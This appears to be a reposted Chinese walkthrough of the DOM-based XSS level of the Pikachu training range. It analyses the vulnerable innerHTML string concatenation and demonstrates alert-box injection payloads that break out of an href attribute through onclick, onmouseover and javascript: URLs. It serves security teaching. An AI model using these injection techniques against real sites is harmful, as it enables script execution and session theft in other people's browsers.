pikachu靶场通关笔记08 XSS关卡04-DOM型XSS

目录

一、XSS原理

二、DOM型XSS

三、源码分析

1、进入靶场

2、XSS探测

3、源码分析

四、渗透实战

1、Payload1

2、Payload2

3、Payload3


本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到XSS风险的真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡 04-DOM 型XSS的渗透部分。

一、XSS原理

XSS(Cross - Site Scripting) 跨站脚本攻击是一种常见的Web安全风险,因其高危害性位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。

类型原理数据交互危害
反射型 XSS攻击者诱使用户点击含恶意脚本的链接,服务器将脚本反射回浏览器执行URL 参数传入恶意脚本,服务器原样返回泄露用户敏感信息,如登录凭证、个人资料等;篡改页面内容,误导用户操作
存储型 XSS恶意脚本被存储在服务器端,用户访问相关页面时执行恶意脚本提交到服务器并存储,用户访问页面时服务器返回含脚本内容影响范围广,所有访问该页面的用户都会受到攻击;可进行大规模的信息窃取、会话劫持
DOM 型 XSS攻击者通过构造恶意输入,利用页面 JS 修改 DOM 结构注入脚本,不涉及服务器处理在页面表单输入恶意脚本,页面 JS 处理输入时触发破坏页面的正常显示和功能;可能导致用户在不知情的情况下执行危险操作

二、DOM型XSS

DOM 型 XSS(Document Object Model Cross-Site Scripting)是一种基于浏览器文档对象模型(DOM)的跨站脚本攻击类型。与反射型和存储型 XSS 不同,DOM 型 XSS 攻击不依赖服务器端响应数据,而是利用网页中 JavaScript 对 DOM 的不当操作来实现。
攻击者通过精心构造 URL 或诱导用户输入恶意数据,使得网页中的 JavaScript 代码在处理数据并修改 DOM 结构时,将恶意脚本作为合法内容插入到页面中。当浏览器解析并执行这些恶意脚本时,就会触发攻击,如窃取用户 Cookie、劫持会话等。由于攻击发生在客户端浏览器,且不涉及服务器数据存储和直接响应,其检测和防御相对复杂,需要开发者对前端代码中的 DOM 操作进行严格的安全审查和输入验证 。

分类DOM型XSS
存储位置不经过服务器,恶意代码存在于URL片段(#后)或前端输入
触发方式前端JavaScript动态操作DOM时执行
攻击场景单页应用(SPA)、动态网页、依赖前端路由的Web应用
危害范围执行恶意脚本的用户
攻击特点绕过服务端检测(WAF无效),纯前端风险
防御措施安全的DOM操作(如textContent替代innerHTML)、前端输入验证、CSP策略
修复难度中(需全面检查前端代码)

三、源码分析

1、进入靶场

进入pikachu靶场XSS系列关系的04关-DOM型XSS页面,打开后发现是一个留言板,如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom.php

2、XSS探测

输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。

​​​​​​​'"<>?&ljn20241019

测试 发现输入和输出有区别,

3、源码分析

查看DOM型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字what,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出

这段代码存在DOM型 XSS风险,具体的源码经过详细注释后如下所示。

<div id="xssd_main"><script>function domxss(){// 获取用户输入(未经过滤)var str = document.getElementById("text").value;// 直接拼接用户输入到HTML中(高危操作)document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}// 攻击者可尝试的Payload示例:// 1. '><img src="#" onmouseover="alert('xss')">  → 闭合标签并插入恶意图片// 2. ' onclick="alert('xss')">                → 闭合标签并添加点击事件</script><!-- 用户输入框 --><input id="text" name="text" type="text" value="" /><!-- 触发DOM操作的按钮 --><input id="button" type="button" value="click me!" onclick="domxss()" /><!-- 动态内容插入区域(XSS触发点) --><div id="dom"></div>
</div>

分析可知本关卡通过 getElementById 获取到了标签 Id 为 text的内容赋值给str.然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中。产生XSS风险的关键代码如下所示。

function domxss(){var str = document.getElementById("text").value; // 获取用户输入document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; // 直接拼接HTML
}

XSS的根源在于不可信数据未经验证直接插入DOM,这个处理逻辑如下所示。

1)我们通过 <input id=“text” name=“text” type=“text” value="" / > 将字符串赋值给text然后JavaScript 
var str = document.getElementById(“text”).value; 获取到了text的值
2)然后document.getElementById(“dom”).innerHTML = “< a href=’”+str+"’>what do you see?< /a > ";
把这个text字符串整合到a这个标签中的href里再把a标签写入到dom这个标签中。
3)最后< div id=“dom” >< /div > 执行这个dom标签

XSS原理如下所示。

XSS类型DOM型XSS
触发条件用户输入直接拼接到innerHTML,未经过滤或编码
攻击方式通过闭合标签(如'>)注入恶意HTML/JS代码
危害窃取Cookie、钓鱼攻击、页面篡改

XSS成因与示例如下所示。

问题环节具体风险攻击示例
未过滤用户输入用户控制的str直接拼接到innerHTML输入'><img src="#" onmouseover="alert('xss')">
危险API使用innerHTML会解析HTML/JS代码(非安全文本插入)输入' onclick="alert('xss')"> 闭合标签并注入事件
缺乏输出编码未对用户输入的" ' < >等字符转义输入javascript:alert(1) 可构造恶意链

    四、渗透实战

    <a href='"+str+"'>what do you see?</a>

    1、Payload1

    payload1: #' οnclick=alert("ljn")>

    #' onclick=alert("ljn")>

    闭合后:<a href='#' οnclick="alert("ljn")">'>what do you see?</a>

    点击click me后,下方生成链接,点击链接后,弹框ljn

    分析:右键元素-点击查看器-Ctrl+F搜索关键字what

    2、Payload2

    payload3: ' οnclick="alert('ljn')">

    ' onclick="alert('ljn')">

    闭合后:<a href οnclick="alert('ljn')"> >'what do you see?</a>

    3、Payload3

    payload2: '><img src="#" οnmοuseοver="alert('ljn')">

     '><img src="#" onmouseover="alert('ljn')">

    闭合后:<a href><img src="#" οnmοuseοver="alert('haha')">'>what do you see?</a>

    本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/pingmian/82815.shtml

    如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

    相关文章

    安全访问 std::tuple 的容错方法及气象领域应用

    安全访问 std::tuple 的容错方法及气象领域应用 1. std::tuple 安全访问的核心问题 1.1 元组结构性问题&#xff08;编译时错误&#xff09; 当元组元素数量为空时&#xff08;std::tuple<>&#xff09;&#xff0c;任何访问元素的尝试都会导致编译错误​&#xff1a;…

    Webug4.0靶场通关笔记03- 第3关SQL注入之时间盲注(手注法+脚本法 两种方法)

    目录 一、源码分析 1.分析闭合 2.分析输出 &#xff08;1&#xff09;查询成功 &#xff08;2&#xff09;查询失败 &#xff08;3&#xff09;SQL语句执行报错 二、第03关 延时注入 1.打开靶场 2.SQL手注 &#xff08;1&#xff09;盲注分析 &#xff08;2&#xf…

    【大模型学习网络互联】Memory-Mapped I/O MMIO语义与MEM语义

    MMIO语义和MEM语义的区别 嗯&#xff0c;用户要求更详细地区分MMIO和MEM语义&#xff0c;看来之前的中文对比虽然系统但还不够深入。用户可能是嵌入式开发者或OS内核学习者&#xff0c;需要从硬件行为层面理解差异。 用户连续追问MMIO相关概念&#xff0c;说明ta在接触底层开发…

    如何在使用kickstart安装物理机操作系统的过程中核对服务器的SN

    原因 在使用kickstart对物理机进行重装的时候&#xff0c;由于自动化配置&#xff0c;挂载镜像重启之后就会自动化开始安装部署&#xff0c;不够安全&#xff0c;万一选错服务器没有办法回退。因此可以在kickstart的ks配置文件中新增服务器SN的校验&#xff0c;当校验不通过的…

    spring4第4课-ioc控制反转-详解如何注入参数

    坚持住&#xff0c;第四天&#xff0c;继续学习spring4.详解如何注入参数 先总结&#xff0c;主要有如下6种&#xff1a; 1&#xff0c;基本类型值&#xff1b; 2&#xff0c;注入 bean&#xff1b; 3&#xff0c;内部 bean&#xff1b; 4&#xff0c;null 值&#xff1b; 5&…

    cf2067A

    原题链接&#xff1a;https://codeforces.com/contest/2067/problem/A 题目背景&#xff1a; 给定x,y&#xff0c;判读是否存在 n 满足S(n) x&#xff0c;S(n 1) y。定义 S(a) 等于 a 的十进制位数之和。 思路&#xff1a; 不难发现一般 n 和 n 1 的位数之和相差为 1&…

    微信小程序获取手机号

    详细代码 <t-button size"large" theme"primary" variant"outline" data-type"hasCancelBtn" bind:tap"showDialog" block style"display: none;">开放能力按钮 </t-button> <t-dialog id"t-…

    AI重构SEO关键词精准定位

    内容概要 随着AI技术深度渗透数字营销领域&#xff0c;传统SEO关键词定位模式正经历系统性重构。基于自然语言处理&#xff08;NLP&#xff09;的智能语义分析引擎&#xff0c;可突破传统关键词工具的局限性&#xff0c;通过解析长尾搜索词中的隐含意图与语境关联&#xff0c;…

    四足机器人环境监测系统相关问题

    一、在设计四足机器人监测与跟踪系统整体架构时&#xff0c;你主要考虑了哪些因素&#xff1f;为什么这样设计以确保系统的高效性与稳定性&#xff1f; 在设计四足机器人监测与跟踪系统整体架构时&#xff0c;主要考虑了传感器兼容性与通信效率、多任务并发处理能力、实时数据…

    uniapp 开发安卓app 微信授权获取昵称 头像登录

    在manifest.json中配置appid 以及appsecret uni.login({provider: weixin,success: function (loginRes) {console.log(loginRes.authResult);// 获取用户信息uni.getUserInfo({provider: weixin,success: function (infoRes) {console.log(用户昵称为&#xff1a; infoRes.u…

    MySQL8.4组复制

    https://dev.mysql.com/doc/refman/8.4/en/group-replication.html 1 什么是组复制 组复制主要解决了传统异步复制主机宕机时可能造成主从节点数据不一致问题MySQL Group Replication&#xff0c;简称MGR将原有的gtid复制功能进行可增强&#xff0c;支持单主模式和多主模式组复…

    Python后端开发实战:从0到1搭建高可用API服务

    引言 Python凭借其简洁的语法和丰富的生态(如Django、Flask、FastAPI等框架),已成为后端开发的主流语言之一。本文将结合一个真实电商API项目,分享从架构设计到部署上线的完整流程,并总结开发过程中常见的坑与最佳实践。 一、实战案例:电商API开发流程 1.1 技术选型 框…

    本地部署大模型llm+RAG向量检索问答系统 deepseek chatgpt

    项目视频讲解: 本地部署大模型llm+RAG向量检索问答系统 deepseek chatgpt_哔哩哔哩_bilibili 运行结果:

    aws instance store 的恢复

    1: aws instance store 要在launch instance 才可以创建,而且,通过snapshot 恢复后,instance store 里面的数据会丢失。 下面是创建instance store 的过程,和通过两种方式恢复,发现/etc/fstab 不同的写法,有的不能启动: [root@ip-xx ~]# lsblk NAME MAJ:MIN RM …

    React 生命周期与 Hook 理解解析

    从生命周期到 Hook&#xff1a;React 组件演进之路 React 组件的本质是管理渲染与副作用的统一体。Class 组件通过生命周期方法实现这一目标&#xff0c;而函数组件则依靠 Hook 系统达成相同效果。 Class 组件生命周期详解 生命周期完整流程 Class 组件生命周期可分为三大阶…

    数字孪生技术赋能西门子安贝格工厂:全球智能制造标杆的数字化重构实践

    在工业4.0浪潮席卷全球制造业的当下&#xff0c;西门子安贝格电子制造工厂&#xff08;Electronic Works Amberg, EWA&#xff09;凭借数字孪生技术的深度应用&#xff0c;构建起全球制造业数字化转型的典范。这座位于德国巴伐利亚州的“未来工厂”&#xff0c;通过虚实融合的数…

    从Homebrew找到openssl.cnf文件并拷贝到Go项目下使用

    安装OpenSSL 在 macOS 上下载和安装 OpenSSL 最常见和推荐的方式是使用 Homebrew&#xff0c;这是一个 macOS 缺失的包管理器。 如果您还没有安装 Homebrew&#xff0c;请先安装它。安装 Homebrew 后&#xff0c;安装 OpenSSL 只需要一条命令。 步骤 1&#xff1a;安装 Home…

    Qt 的简单示例 -- 地址簿

    这个工程里有两个窗口&#xff0c;都是QWidget派生的窗口 主窗口&#xff1a; 1. 运用了布局&#xff0c;按钮控件&#xff0c;单行编辑框&#xff0c;富文本编辑框等窗口部件&#xff1b; 2. 运用了 QMap 类&#xff1b; 3. 实现了点击按钮弹出子窗口的功能&#xff0c;这里子…

    kubernate解决 “cni0“ already has an IP address different from 10.244.0.1/24问题

    问题 NetworkPlugin cni failed to set up pod “coredns-5d4b4db-jkmnl_kube-system” network: failed to set bridge addr: “cni0” already has an IP address different from 10.244.0.1/24 解决方案 这个问题通常是由于Flannel网络插件残留配置导致的IP地址冲突。以下…

    QT+opecv如何更改图片的拍摄路径

    如何更改相机拍摄图片的路径 前言&#xff1a;基础夯实&#xff1a;效果展示&#xff1a;实现功能&#xff1a;遇到问题&#xff1a;未解决&#xff1a; 核心代码&#xff1a; 前言&#xff1a; 最近在项目开发中遇到需要让用户更改相机拍摄路径的问题&#xff0c;用户可自己选…